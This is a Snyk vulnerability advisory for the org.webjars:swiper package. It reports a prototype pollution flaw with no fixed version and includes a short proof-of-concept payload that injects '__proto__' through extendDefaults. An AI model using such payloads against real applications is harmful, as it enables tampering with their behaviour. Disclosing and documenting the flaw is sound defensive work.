org.webjars:swiper@2.6.1 vulnerabilities

  • latest version

    4.1.6

  • first published

    10 years ago

  • latest version published

    7 years ago

  • licenses detected

  • package registry

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars:swiper package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    org.webjars:swiper is a Most modern mobile touch slider and framework with hardware accelerated transitions

    Affected versions of this package are vulnerable to Prototype Pollution.

    PoC

    var swiper = require('swiper');
    
    var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
    console.log("Before: " + {}.polluted); // undefined
    swiper.default.extendDefaults(JSON.parse(malicious_payload));
    console.log("After: " + {}.polluted); // HACKED
    

    How to fix Prototype Pollution?

    There is no fixed version for org.webjars:swiper.

    [0,)